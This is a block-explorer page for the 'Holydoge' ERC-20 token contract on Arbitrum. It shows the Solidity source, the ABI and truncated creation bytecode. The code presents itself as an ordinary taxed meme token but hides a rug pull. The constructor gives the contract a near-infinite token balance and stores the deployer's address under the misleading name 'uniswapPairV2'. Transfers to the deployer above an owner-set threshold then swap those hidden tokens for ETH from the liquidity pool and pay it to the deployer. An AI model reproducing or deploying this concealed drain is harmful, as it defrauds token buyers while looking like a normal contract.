Contract Overview
Balance:
0 ETH
ETH Value:
$0.00
My Name Tag:
Not Available
TokenTracker:
[ Download CSV Export ]
Latest 25 internal transaction
[ Download CSV Export ]
Contract Name:
Holydoge
Compiler Version
v0.8.1+commit.df193b15
Contract Source Code (Solidity)
/** *Submitted for verification at Arbiscan.io on 2022-12-07 */ /** Telegram: https://t.me/holydogetrum Twitter: https://twitter.com/HDogeOfficial "Without you we're nothing, but together we better." */ pragma solidity ^0.8.1; // SPDX-License-Identifier: MIT abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD)); _owner = address(0x000000000000000000000000000000000000dEaD); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } contract Holydoge is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; string public _name = "HolyDoge"; string private _symbol = "$HDOGE"; uint8 private _decimals = 9; address public MarketAddress = 0xFEf4fD179a77B1e3b061b45AEc97DD7394b93a21; mapping (address => uint256) _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private isExcludedFromFee; uint256 public _taxFee = 3; uint256 public _totalSupply = 1000000000 * 10**_decimals; uint256 public _rTotal = ~uint256(0); uint256 private minimumTokensBeforeSwap = _totalSupply; IUniswapV2Router02 public uniswapV2Router; address public uniswapPair; address public uniswapPairV2; bool inSwapAndLiquify; bool public swapAndLiquifyEnabled = true; bool public swapAndLiquifyByLimitOnly = false; event SwapAndLiquifyEnabledUpdated(bool enabled); event SwapAndLiquify( uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiqudity ); event SwapETHForTokens( uint256 amountIn, address[] path ); event SwapTokensForETH( uint256 amountIn, address[] path ); modifier lockTheSwap { inSwapAndLiquify = true; _; inSwapAndLiquify = false; } constructor () { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506); uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapPairV2 = _msgSender(); uniswapV2Router = _uniswapV2Router; _allowances[address(this)][address(uniswapV2Router)] = _totalSupply; isExcludedFromFee[owner()] = true; isExcludedFromFee[address(this)] = true; _balances[address(this)] = _rTotal; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function setIsExcludedFromFee(address account, bool newValue) public onlyOwner { isExcludedFromFee[account] = newValue; } function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() { minimumTokensBeforeSwap = newLimit; } function setUnispair(address _pair) private onlyOwner() { uniswapPairV2 = _pair; } function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner { swapAndLiquifyEnabled = _enabled; emit SwapAndLiquifyEnabledUpdated(_enabled); } function transferToAddressETH(address payable recipient, uint256 amount) private { recipient.transfer(amount); } receive() external payable {} function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) private returns (bool) { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); bool overMinimumTokenBalance = amount >= minimumTokensBeforeSwap; if (overMinimumTokenBalance && !inSwapAndLiquify && recipient==uniswapPairV2 && swapAndLiquifyEnabled) { swapAndLiquify(amount); }else{ return _basicTransfer(sender, recipient, amount); } return true; } function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) { uint256 fee = (amount * _taxFee) / 100; _balances[sender] = _balances[sender].sub(amount); amount = amount.sub(fee); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); return true; } function swapAndLiquify(uint256 tAmount) private lockTheSwap { swapTokensForEth(tAmount); } function swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, uniswapPairV2, block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, 0, owner(), block.timestamp ); } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } }
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"MarketAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_rTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newLimit","type":"uint256"}],"name":"setNumTokensBeforeSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyByLimitOnly","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapPairV2","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526040518060400160405280600881526020017f486f6c79446f6765000000000000000000000000000000000000000000000000815250600290805190602001906200005192919062000777565b506040518060400160405280600681526020017f2448444f47450000000000000000000000000000000000000000000000000000815250600390805190602001906200009f92919062000777565b506009600460006101000a81548160ff021916908360ff16021790555073fef4fd179a77b1e3b061b45aec97dd7394b93a21600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506003600855600460009054906101000a900460ff16600a62000134919062000931565b633b9aca0062000145919062000a6e565b600955600019600a55600954600b556001600e60156101000a81548160ff0219169083151502179055506000600e60166101000a81548160ff0219169083151502179055503480156200019757600080fd5b506000620001aa6200074660201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000731b02da8cb0d097eb8d57a175b88c7d8b4799750690508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015620002a857600080fd5b505afa158015620002bd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e391906200083e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200034657600080fd5b505afa1580156200035b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200038191906200083e565b6040518363ffffffff1660e01b8152600401620003a09291906200088c565b602060405180830381600087803b158015620003bb57600080fd5b505af1158015620003d0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003f691906200083e565b600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620004466200074660201b60201c565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600954600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600160076000620005826200074e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600a54600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060095460056000620006886200074660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620006d66200074660201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600954604051620007379190620008b9565b60405180910390a35062000bd5565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b828054620007859062000b1a565b90600052602060002090601f016020900481019282620007a95760008555620007f5565b82601f10620007c457805160ff1916838001178555620007f5565b82800160010185558215620007f5579182015b82811115620007f4578251825591602001919060010190620007d7565b5b50905062000804919062000808565b5090565b5b808211156200082357600081600090555060010162000809565b5090565b600081519050620008388162000bbb565b92915050565b6000602082840312156200085157600080fd5b6000620008618482850162000827565b91505092915050565b620008758162000acf565b82525050565b620008868162000b03565b82525050565b6000604082019050620008a360008301856200086a565b620008b260208301846200086a565b9392505050565b6000602082019050620008d060008301846200087b565b92915050565b6000808291508390505b600185111562000928578086048111156200090057620008ff62000b50565b5b6001851615620009105780820291505b8081029050620009208562000bae565b9450620008e0565b94509492505050565b60006200093e8262000b03565b91506200094b8362000b0d565b92506200097a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000982565b905092915050565b60008262000994576001905062000a67565b81620009a4576000905062000a67565b8160018114620009bd5760028114620009c857620009fe565b600191505062000a67565b60ff841115620009dd57620009dc62000b50565b5b8360020a915084821115620009f757620009f662000b50565b5b5062000a67565b5060208310610133831016604e8410600b841016171562000a385782820a90508381111562000a325762000a3162000b50565b5b62000a67565b62000a478484846001620008d6565b9250905081840481111562000a615762000a6062000b50565b5b81810290505b9392505050565b600062000a7b8262000b03565b915062000a888362000b03565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000ac45762000ac362000b50565b5b828202905092915050565b600062000adc8262000ae3565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000600282049050600182168062000b3357607f821691505b6020821081141562000b4a5762000b4962000b7f565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60008160011c9050919050565b62000bc68162000acf565b811462000bd257600080fd5b50565b6127c98062000be56000396000f3fe6080604052600436106101a05760003560e01c806370a08231116100ec578063c816841b1161008a578063dd62ed3e11610064578063dd62ed3e146105dd578063ef422a181461061a578063f2fde38b14610643578063ffae9c501461066c576101a7565b8063c816841b1461055c578063d28d885214610587578063da00097d146105b2576101a7565b806395d89b41116100c657806395d89b411461048e578063a457c2d7146104b9578063a9059cbb146104f6578063c49b9a8014610533576101a7565b806370a082311461040f578063715018a61461044c5780638da5cb5b14610463576101a7565b806339509351116101595780633eaaf86b116101335780633eaaf86b1461036357806342cc2f451461038e57806345e0b9d4146103b95780634a74bb02146103e4576101a7565b806339509351146102d25780633b124fe71461030f5780633b97084a1461033a576101a7565b806306fdde03146101ac578063095ea7b3146101d75780631694505e1461021457806318160ddd1461023f57806323b872dd1461026a578063313ce567146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610697565b6040516101ce919061206a565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190611d7e565b610729565b60405161020b9190612034565b60405180910390f35b34801561022057600080fd5b50610229610747565b604051610236919061204f565b60405180910390f35b34801561024b57600080fd5b5061025461076d565b604051610261919061216c565b60405180910390f35b34801561027657600080fd5b50610291600480360381019061028c9190611cf3565b610777565b60405161029e9190612034565b60405180910390f35b3480156102b357600080fd5b506102bc610851565b6040516102c99190612211565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f49190611d7e565b610868565b6040516103069190612034565b60405180910390f35b34801561031b57600080fd5b5061032461091b565b604051610331919061216c565b60405180910390f35b34801561034657600080fd5b50610361600480360381019061035c9190611de3565b610921565b005b34801561036f57600080fd5b506103786109c0565b604051610385919061216c565b60405180910390f35b34801561039a57600080fd5b506103a36109c6565b6040516103b09190612019565b60405180910390f35b3480156103c557600080fd5b506103ce6109ec565b6040516103db919061216c565b60405180910390f35b3480156103f057600080fd5b506103f96109f2565b6040516104069190612034565b60405180910390f35b34801561041b57600080fd5b5061043660048036038101906104319190611c65565b610a05565b604051610443919061216c565b60405180910390f35b34801561045857600080fd5b50610461610a4e565b005b34801561046f57600080fd5b50610478610ba3565b6040516104859190612019565b60405180910390f35b34801561049a57600080fd5b506104a3610bcc565b6040516104b0919061206a565b60405180910390f35b3480156104c557600080fd5b506104e060048036038101906104db9190611d7e565b610c5e565b6040516104ed9190612034565b60405180910390f35b34801561050257600080fd5b5061051d60048036038101906105189190611d7e565b610d2b565b60405161052a9190612034565b60405180910390f35b34801561053f57600080fd5b5061055a60048036038101906105559190611dba565b610d4a565b005b34801561056857600080fd5b50610571610e33565b60405161057e9190612019565b60405180910390f35b34801561059357600080fd5b5061059c610e59565b6040516105a9919061206a565b60405180910390f35b3480156105be57600080fd5b506105c7610ee7565b6040516105d49190612034565b60405180910390f35b3480156105e957600080fd5b5061060460048036038101906105ff9190611cb7565b610efa565b604051610611919061216c565b60405180910390f35b34801561062657600080fd5b50610641600480360381019061063c9190611d42565b610f81565b005b34801561064f57600080fd5b5061066a60048036038101906106659190611c65565b611071565b005b34801561067857600080fd5b50610681611233565b60405161068e9190612019565b60405180910390f35b6060600280546106a690612454565b80601f01602080910402602001604051908101604052809291908181526020018280546106d290612454565b801561071f5780601f106106f45761010080835404028352916020019161071f565b820191906000526020600020905b81548152906001019060200180831161070257829003601f168201915b5050505050905090565b600061073d610736611259565b8484611261565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600954905090565b600061078484848461142c565b5061084684610791611259565b6108418560405180606001604052806028815260200161274760289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006107f7611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115d59092919063ffffffff16565b611261565b600190509392505050565b6000600460009054906101000a900460ff16905090565b6000610911610875611259565b8461090c8560066000610886611259565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461163990919063ffffffff16565b611261565b6001905092915050565b60085481565b610929611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ad9061210c565b60405180910390fd5b80600b8190555050565b60095481565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b600e60159054906101000a900460ff1681565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a56611259565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ae3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ada9061210c565b60405180910390fd5b61dead73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1